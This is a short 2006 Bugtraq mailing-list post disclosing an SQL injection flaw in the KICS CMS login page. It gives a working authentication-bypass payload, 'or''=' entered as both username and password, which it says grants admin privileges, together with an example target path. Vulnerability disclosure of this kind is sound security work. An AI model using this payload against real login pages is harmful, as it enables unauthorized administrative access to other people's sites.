Bugtraq mailing list archives
KICS CMS sql injection
From: fireboy2006 () gmail com
Date: 19 Oct 2006 01:04:37 -0000
*********************** * Tunis the 18/10/2006* * bug found by fireboy* *********************** product:KICS CMS vendor:http://www.kinesis.com.au/ there is an sql injection problem in KICS CMS login page and it can be exploited to gain admin privileges. exploit: user: 'or''=' pass: 'or''=' example:http://www.target.com/kicscms/index.asp thx
Current thread:
- KICS CMS sql injection fireboy2006 (Oct 19)